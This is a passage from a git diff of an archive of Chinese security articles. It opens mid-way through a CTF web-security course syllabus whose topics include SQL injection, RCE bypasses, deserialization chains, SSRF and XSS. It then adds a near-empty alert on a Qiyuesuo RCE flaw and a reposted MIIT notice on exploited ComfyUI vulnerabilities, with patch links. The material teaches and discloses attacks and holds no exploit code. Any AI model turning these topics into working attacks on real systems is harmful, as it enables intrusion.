PHP与黑魔法（一） + +- 视频1-1  入门PHP + + +- 视频1-2  弱类型概念与strcmp问题 + + +- 视频1-3  哈希弱比较问题 + + +- 视频1-4  is_numeric弱比较问题 + + +- 视频1-5  json_decode弱比较问题 + + +- 视频1-6  intval函数问题 + + +- 视频1-7  preg_match函数问题 + + + + + +第2章  PHP与黑魔法（二） +- 视频2-1  函数与get_defined_vars函数 + + +-  视频2-2  课时6-2extract函数变量覆盖 + + +-  视频2-3  3parse_str变量覆盖 + + +-  视频2-4  $变量覆盖 + + +-  视频2-5  内置类简单介绍 + + +-  视频2-6  请求参数解析问题 + + +**阶段二：基础 — 带你16小时玩转SQL注入** + +**第4周：SQL注入基础(一)原理与回显注入方式** + +第1章  SQL基础与SQLi原理 +-  视频1-1  MySQL简介 + + +-  视频1-2  MySQL基础_语法_函数_数据库 + + +-  视频1-3  使用PHP代码与MySQL联动 + + +-  视频1-4  使用PHP操作数据库 + + +-  视频1-5  SQLi原理 + + +第2章  SQLi基础、联合注入和报错注入 +- 视频2-1  SQLi相关函数补充 + +视频2-2  SQLi全局变量补充与information_schema库操作 + +- 视频2-3  字符-数字型注入 + +- 视频2-4  联合注入 + +- 视频2-5  大整数报错和Xpath报错注入 + +       视频2-6  主键重复报错注入 + + +**第5周：SQL注入基础(二)非回显注入方式** + +**第1章节 布尔盲注** + +视频1-1回显注入与盲注的区别 + +视频1-2 学习盲注前的基本tricks复习 + +视频1-3 对于非回显注入的insight + +视频1-4 布尔盲注的攻击流程 + + +**第2章 时间盲注** + +视频2-1 时间盲注和布尔盲注 + +视频2-2 五种时间盲注的方式 + + + +视频3-3 例题精解和自动化脚本编写 + +本章靶场实例 + + +**第3章 习题讲解** + +习题课1 SQLi测试步骤和万能密码 + +习题课2 两道Union&报错注入 + +习题课3 如何编写更为高效的SQLi脚本 + + +**第6周：SQL注入基础(三)一些其他的注入方式** + +**第7周：SQL注入基础（四）使用工具进行注入** + +**第8周：SQL注入进阶（一）二次注入、堆叠注入和绕过技巧** + +**第9周：SQL注入进阶（二）SQLi到GetShell和MSQQL注入** + +**第10周：SQL注入进阶（三）PostgreSQL和MongoDB注入** + +**第11周：SQL注入进阶（四）注入技巧与思路拓展** + +  + +**阶段三：进阶 — 深入探讨CTF中常见的“简单”漏洞** + +**第12周：命令/代码执行（一）原理和基础知识** + +**第13周：命令/代码执行（二）Bypass技巧** + +**第14周：命令/代码执行（三）disable_function和openbase_dir的突破** + +**第15周：命令/代码执行（四）ThinkPHP RCE漏洞详解** + +**第16周：文件上传（一）原理、常见检测绕过和解析漏洞** + +**第17周：文件上传（二）补充与真题演练** + +**第18周：文件包含（一）原理与前置知识** + +**第19周：文件包含（二）一览包含技巧** + +  + +**阶段四：强化 — 迈向主力Web选手之路** + +**第20周：反序列化漏洞（一）原理、基础知识和POP链** + +**第21周：反序列化漏洞（二）Phar反序列化和字符串逃逸** + +**第22周：反序列化漏洞（三）ThinkPHP反序列链分析** + +**第23周：反序列化漏洞（四）Laravel反序列化链分析** + +**第24周：SSRF（一）原理与基础利用** + +**第25周：SSRF（二）Soap类SSRF、Gopher在SSRF中的妙用** + +**第26周：XXE（一）原理和前置知识** + +**第27周：XXE（二）Blind XXE和例题讲解** + +**第28周：SSTI——原理、绕过与例题讲解** + +**第29周：前端安全（一）同源策略攻防** + +**第30周：前端安全（二）XSS原理、绕过与例题讲解** + +**第31周：前端安全（三）CSRF与JSONP安全问题** + +**第32周：Node.js与原型链污染** + + + +**** + +**课程收获** + + +1、掌握Web安全学习方法 + +2、具备参与各大线上或线下比赛的能力 + +3、体系化的Web安全知识 + +  + +**立即学习** + + + +**《CTF训练营-Web篇》** + +﹀ + +﹀ + +﹀ + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Uia4617poZXP96fGaMPXib13V1bJ52yHq9ycD9Zv3WhiaRb2rKV6wghrNa4VyFR2wibBVNfZt3M5IuUiauQGHvxhQrA/640?wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8GMjqO82AGRWSJrIX9Umhlnc7OXwHtBqXEOBenoJ780G1rHHfuO1O8HlKKsR3me8gF357g4E7Wiabw/640?wx_fmt=gif "") + +**球分享** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8GMjqO82AGRWSJrIX9Umhlnc7OXwHtBqXEOBenoJ780G1rHHfuO1O8HlKKsR3me8gF357g4E7Wiabw/640?wx_fmt=gif "") + +**球点赞** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8GMjqO82AGRWSJrIX9Umhlnc7OXwHtBqXEOBenoJ780G1rHHfuO1O8HlKKsR3me8gF357g4E7Wiabw/640?wx_fmt=gif "") + +**球在看** + +**** +**** diff --git a/doc/2025-06/漏洞预警｜契约锁电子签章系统远程代码执行漏洞.md b/doc/2025-06/漏洞预警｜契约锁电子签章系统远程代码执行漏洞.md new file mode 100644 index 00000000..3df98fea --- /dev/null +++ b/doc/2025-06/漏洞预警｜契约锁电子签章系统远程代码执行漏洞.md @@ -0,0 +1,6 @@ +# 漏洞预警｜契约锁电子签章系统远程代码执行漏洞 +威胁情报运营中心 矢安科技 2025-06-20 12:14 + +![](https://mmbiz.qpic.cn/mmbiz_png/U9q5QO5nvTT1ugv9CyJY37bKrSeTph7bDwB7oqgN59Ik78lMOSd0SahOnVNxcf41tSAT4jArLSm6K4sfNEW92g/640?wx_fmt=png&from=appmsg "") + + diff --git a/doc/2025-06/荐读丨工信部：AI绘图工具ComfyUI多个安全漏洞已被用于实施网络攻击.md b/doc/2025-06/荐读丨工信部：AI绘图工具ComfyUI多个安全漏洞已被用于实施网络攻击.md new file mode 100644 index 00000000..32b3c959 --- /dev/null +++ b/doc/2025-06/荐读丨工信部：AI绘图工具ComfyUI多个安全漏洞已被用于实施网络攻击.md @@ -0,0 +1,104 @@ +# 荐读丨工信部：AI绘图工具ComfyUI多个安全漏洞已被用于实施网络攻击 + 工业安全产业联盟平台 2025-06-20 09:11 + +[](https://mp.weixin.qq.com/s?__biz=MzI2MDk2NDA0OA==&mid=2247533368&idx=1&sn=d541bea83288feda781e5a7a02c397c9&scene=21#wechat_redirect) + + +近日，工业和信息化部网络安全威胁和漏洞信息共享平台（NVDB）监测发现，ComfyUI工具存在任意文件读取、远程代码执行等5个安全漏洞，已被用于实施网络攻击。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/4FpQm8QaW5l6XPgWUZN76LqNOwBpzcUVZUBBbnBmeibLPibVQU9P8XrliaIWAOeDYxrq3IzHd1BjCBSy1jxN2nUOQ/640?wx_fmt=png&from=appmsg "") + + + +ComfyUI是一款开源的人工智能绘图工具，用于人工智能驱动的图像生成、视频制作、3D建模与音频创作等。由于其组件存在代码注入、任意文件读取、跨站脚本、远程代码执行等安全漏洞，可被攻击者利用执行远程恶意代码，获取服务器权限，进而窃取系统数据。受影响的ComfyUI组件包括ComfyUI-Ace-Nodes、Comfyanonymous/comfyui、ComfyUI-Bmad-Node、ComfyUI-Impact-Pack、ComfyUI-Manager。 + + +**上述漏洞均已修复，链接如下：** + +**** +**1.** + ComfyUI-Ace-Nodes链接： + +https://github.com/hay86/ComfyUI_AceNodes/blob/5ba01db8a3b7afb8e4aecfaa48823ddeb132bbbb/nodes.py#L1193。 + + +**2.** + Comfyanonymous/comfyui链接： + +https://github.com/comfyanonymous/ComfyUI/pull/6034。 + + +**3.** + ComfyUI-Bmad-Node链接： + +https://github.com/bmad4ever/comfyui_bmad_nodes/blob/392af9490cbadf32a1fe92ff820ebabe88c51ee8/cv_nodes.py#L1814。 + + +**4.** + ComfyUI-Impact-Pack链接： + +https://github.com/ltdrdata/ComfyUI-Impact-Pack/commit/a43dae373e648ae0f0cc0c9768c3cea6a72acff7。 + + +**5.** + ComfyUI-Manager链接： + +https://github.com/ltdrdata/ComfyUI-Manager/commit/ffc095a3e5acc1c404773a0510e6d055a6a72b0e。 + + +建议相关单位和用户立即开展全面排查，及时升级至最新安全版本，通过限制互联网访问、设置IP白名单、增强身份验证机制等方式做好类似人工智能应用的安全加固，防范网络安全风险。 + +**· end ·** + + + +来源 |  +网络安全威胁和漏洞信息共享平台 + +责任编辑 | 赫敏 + + +声明：本文由工业安全产业联盟平台微信公众号（微信号：ICSISIA）转发，如有版权问题，请联系删除。 + + +![](https://mmbiz.qpic.cn/mmbiz_png/4FpQm8QaW5kiaicHTUwSf9sId0er1ytR3D1Sc1RPfDpmk8FiciciadlBic9jSUbt1ciaE3G3aKiaicickE5ficq81KuYplgow/640?wx_fmt=png "") + + + +**如需合作或咨询，请联系工业安全产业联盟平台小秘书微信号：ICSISIA20140417** + + + +**往期荐读** + +# 重磅 | 《自动化博览》2025年第一期暨《工业控制系统信息安全专刊（第十一辑）》上线 +# 2025两会必看丨这些工业信息安全精华提案将改写行业规则 +# 工信部丨关于防范针对DeepSeek本地化部署实施网络攻击的风险提示 +# 干货丨长输油气管网工控安全防护：策略、实践与展望 + +**DeepSeek分析丨** +[零信任安全架构在工业领域的发展现状与未来展望](https://mp.weixin.qq.com/s?__biz=MzI2MDk2NDA0OA==&mid=2247532379&idx=1&sn=1603721f3f669d1fe6c5773b5fb55489&scene=21#wechat_redirect) + +# 白皮书丨东北大学：2024工业控制网络安全态势白皮书（附下载） +# 荐读丨即将过气的五大网络安全技术 +# 干货丨工业可编程控制系统加密技术研究 +# 荐读 | 安全人视角的DeepSeek洞察与思考 +# 工信部丨2024年我国信息安全领域收入2290亿元 +# 关注丨网络关键设备安全检测结果（第19批） +# 电力安全｜2024年新型电力系统安全建设指南报告（附下载） +# 工信部等十三部门丨2024年网络安全技术应用典型案例项目名单 +# 关注丨国家发展改革委、国家数据局等六部门联合印发《关于完善数据流通安全治理 更好促进数据要素市场化价值化的实施方案》 + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/4FpQm8QaW5kl2a8G7lfZTXQ65jPLzCdpyKsyPqcbQnzEqbmYSDib90bZicWWGDc7kFPbaRiaVzC16MXUp4T0FY8cA/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/4FpQm8QaW5kl2a8G7lfZTXQ65jPLzCdpMs8tAvMDjxib9jwveZic6lrGG8K5iaoRIibBzbMEOZ1iay9MmF0aJtvicHmQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/4FpQm8QaW5kl2a8G7lfZTXQ65jPLzCdpQrnsLdgPsjvdBHkvnibporOYKicPv4aBgHkEw0tLgNnDuOTOOAia2tPug/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/4FpQm8QaW5kl2a8G7lfZTXQ65jPLzCdpgJgfShwDlZNGBxX5EkH8XMYawAfotAVmiaoD9icCOE7l306nqjCsuibCw/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/4FpQm8QaW5kl2a8G7lfZTXQ65jPLzCdp1IQNNBb9Hm4vRAiaKFBY2gMMDZB2IBvpkaCEetNoQvPFnwv2Tb13PuA/640?wx_fmt=jpeg&from=appmsg "") + +